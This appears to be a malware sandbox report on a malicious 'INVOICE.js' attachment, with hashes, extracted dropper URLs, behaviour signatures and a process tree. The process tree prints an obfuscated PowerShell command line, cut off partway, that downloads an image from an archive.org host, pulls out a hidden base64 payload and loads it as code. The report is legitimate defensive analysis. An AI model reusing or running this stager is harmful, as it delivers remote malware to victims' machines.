Overview

overview

10

Static

static

1

INVOICE.js

windows7-x64

10

INVOICE.js

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09-08-2024 09:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    INVOICE.js

  • Size

    328KB

  • MD5

    6837307ec45d904b112be679217c4753

  • SHA1

    10e00ce374f8ebb3e54f6d26d99e8db6a6383e15

  • SHA256

    c6b076cf47cd1b57a71acfb1e5d257c657403af0ae983f4084a4057e18e81168

  • SHA512

    32087813f7826c052415592313a77a362033133034f0ad055480f063c4aa5d1de3da2e4bb38919da67f0f13e984d71f66c52455ed254634825f453f964717ef5

  • SSDEEP

    6144:O591JBdVhpcc1FRh1FZp2WlFBhlFJpkU1FxB1F5J2WlFhBlFpJAw1FRh1FZp2Wl6:O591JBdVhpcc1FRh1FZp2WlFBhlFJpkl

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\INVOICE.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J㏵ ⊷ ➟ ⇒ ▷Bp㏵ ⊷ ➟ ⇒ ▷G0㏵ ⊷ ➟ ⇒ ▷YQBn㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷VQBy㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷JwBo㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bw㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷Og㏵ ⊷ ➟ ⇒ ▷v㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷aQBh㏵ ⊷ ➟ ⇒ ▷DY㏵ ⊷ ➟ ⇒ ▷M㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷x㏵ ⊷ ➟ ⇒ ▷DY㏵ ⊷ ➟ ⇒ ▷M㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷2㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷dQBz㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷YQBy㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ ▷a㏵ ⊷ ➟ ⇒ ▷Bp㏵ ⊷ ➟ ⇒ ▷HY㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷u㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷cgBn㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷MQ㏵ ⊷ ➟ ⇒ ▷w㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷aQB0㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bQBz㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bo㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷bwB0㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷Xw㏵ ⊷ ➟ ⇒ ▷y㏵ ⊷ ➟ ⇒ ▷D㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Mg㏵ ⊷ ➟ ⇒ ▷0㏵ ⊷ ➟ ⇒ ▷D㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Nw㏵ ⊷ ➟ ⇒ ▷v㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷ZQBh㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷a㏵ ⊷ ➟ ⇒ ▷Bu㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷agBw㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷dwBl㏵ ⊷ ➟ ⇒ ▷GI㏵ ⊷ ➟ ⇒ ▷QwBs㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷ZQBu㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷TgBl㏵ ⊷ ➟ ⇒ ▷Hc㏵ ⊷ ➟ ⇒ ▷LQBP㏵ ⊷ ➟ ⇒ ▷GI㏵ ⊷ ➟ ⇒ ▷agBl㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷eQBz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷ZQBt㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷TgBl㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷LgBX㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷YgBD㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷aQBl㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷aQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷ZwBl㏵ ⊷ ➟ ⇒ ▷EI㏵ ⊷ ➟ ⇒ ▷eQB0㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷cw㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷D0㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷Hc㏵ ⊷ ➟ ⇒ ▷ZQBi㏵ ⊷ ➟ ⇒ ▷EM㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bp㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bgB0㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷R㏵ ⊷ ➟ ⇒ ▷Bv㏵ ⊷ ➟ ⇒ ▷Hc㏵ ⊷ ➟ ⇒ ▷bgBs㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷YQBk㏵ ⊷ ➟ ⇒ ▷EQ㏵ ⊷ ➟ ⇒ ▷YQB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷K㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷bQBh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷ZQBV㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷p㏵ ⊷ ➟ ⇒ ▷Ds㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bp㏵ ⊷ ➟ ⇒ ▷G0㏵ ⊷ ➟ ⇒ ▷YQBn㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷V㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷Hg㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷D0㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷Bb㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷eQBz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷ZQBt㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷V㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷Hg㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷u㏵ ⊷ ➟ ⇒ ▷EU㏵ ⊷ ➟ ⇒ ▷bgBj㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bp㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷ZwBd㏵ ⊷ ➟ ⇒ ▷Do㏵ ⊷ ➟ ⇒ ▷OgBV㏵ ⊷ ➟ ⇒ ▷FQ㏵ ⊷ ➟ ⇒ ▷Rg㏵ ⊷ ➟ ⇒ ▷4㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷RwBl㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷UwB0㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷aQBu㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷K㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷bQBh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷ZQBC㏵ ⊷ ➟ ⇒ ▷Hk㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷KQ㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷EY㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷8㏵ ⊷ ➟ ⇒ ▷Dw㏵ ⊷ ➟ ⇒ ▷QgBB㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷RQ㏵ ⊷ ➟ ⇒ ▷2㏵ ⊷ ➟ ⇒ ▷DQ㏵ ⊷ ➟ ⇒ ▷XwBT㏵ ⊷ ➟ ⇒ ▷FQ㏵ ⊷ ➟ ⇒ ▷QQBS㏵ ⊷ ➟ ⇒ ▷FQ㏵ ⊷ ➟ ⇒ ▷Pg㏵ ⊷ ➟ ⇒ ▷+㏵ ⊷ ➟ ⇒ ▷Cc㏵ ⊷ ➟ ⇒ ▷Ow㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷EY㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷8㏵ ⊷ ➟ ⇒ ▷Dw㏵ ⊷ ➟ ⇒ ▷QgBB㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷RQ㏵ ⊷ ➟ ⇒ ▷2㏵ ⊷ ➟ ⇒ ▷DQ㏵ ⊷ ➟ ⇒ ▷XwBF㏵ ⊷ ➟ ⇒ ▷E4㏵ ⊷ ➟ ⇒ ▷R㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷+㏵ ⊷ ➟ ⇒ ▷D4㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷Ek㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷e㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷D0㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷bQBh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷ZQBU㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷e㏵ ⊷ ➟ ⇒ ▷B0㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷SQBu㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷ZQB4㏵ ⊷ ➟ ⇒ ▷E8㏵ ⊷ ➟ ⇒ ▷Zg㏵ ⊷ ➟ ⇒ ▷o㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷EY㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷KQ㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷ZQBu㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷SQBu㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷ZQB4㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷PQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷aQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷ZwBl㏵ ⊷ ➟ ⇒ ▷FQ㏵ ⊷ ➟ ⇒ ▷ZQB4㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷LgBJ㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷Hg㏵ ⊷ ➟ ⇒ ▷TwBm㏵ ⊷ ➟ ⇒ ▷Cg㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷BG㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷YQBn㏵ ⊷ ➟ ⇒ ▷Ck㏵ ⊷ ➟ ⇒ ▷Ow㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷BJ㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷Hg㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷t㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷D㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷t㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷BJ㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷Hg㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷t㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷Ek㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷e㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷Ek㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷e㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷Cs㏵ ⊷ ➟ ⇒ ▷PQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷EY㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷Gc㏵ ⊷ ➟ ⇒ ▷LgBM㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bgBn㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷a㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷7㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷YgBh㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷2㏵ ⊷ ➟ ⇒ ▷DQ㏵ ⊷ ➟ ⇒ ▷T㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷ZwB0㏵ ⊷ ➟ ⇒ ▷Gg㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷BJ㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷Hg㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷t㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷YQBy㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷SQBu㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷ZQB4㏵ ⊷ ➟ ⇒ ▷Ds㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bi㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cwBl㏵ ⊷ ➟ ⇒ ▷DY㏵ ⊷ ➟ ⇒ ▷N㏵ ⊷ ➟ ⇒ ▷BD㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷bQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷PQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷aQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷ZwBl㏵ ⊷ ➟ ⇒ ▷FQ㏵ ⊷ ➟ ⇒ ▷ZQB4㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷LgBT㏵ ⊷ ➟ ⇒ ▷HU㏵ ⊷ ➟ ⇒ ▷YgBz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷cgBp㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷Zw㏵ ⊷ ➟ ⇒ ▷o㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgB0㏵ ⊷ ➟ ⇒ ▷Ek㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷e㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷s㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bi㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cwBl㏵ ⊷ ➟ ⇒ ▷DY㏵ ⊷ ➟ ⇒ ▷N㏵ ⊷ ➟ ⇒ ▷BM㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bgBn㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷a㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷p㏵ ⊷ ➟ ⇒ ▷Ds㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bj㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷bQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷EI㏵ ⊷ ➟ ⇒ ▷eQB0㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷cw㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷D0㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷Bb㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷eQBz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷ZQBt㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷QwBv㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷dgBl㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bd㏵ ⊷ ➟ ⇒ ▷Do㏵ ⊷ ➟ ⇒ ▷OgBG㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷bwBt㏵ ⊷ ➟ ⇒ ▷EI㏵ ⊷ ➟ ⇒ ▷YQBz㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷Ng㏵ ⊷ ➟ ⇒ ▷0㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷By㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷bgBn㏵ ⊷ ➟ ⇒ ▷Cg㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bi㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cwBl㏵ ⊷ ➟ ⇒ ▷DY㏵ ⊷ ➟ ⇒ ▷N㏵ ⊷ ➟ ⇒ ▷BD㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷bQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷Ck㏵ ⊷ ➟ ⇒ ▷Ow㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷bwBh㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷ZQBk㏵ ⊷ ➟ ⇒ ▷EE㏵ ⊷ ➟ ⇒ ▷cwBz㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bQBi㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷eQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷D0㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷Bb㏵ ⊷ ➟ ⇒ ▷FM㏵ ⊷ ➟ ⇒ ▷eQBz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷ZQBt㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷UgBl㏵ ⊷ ➟ ⇒ ▷GY㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ 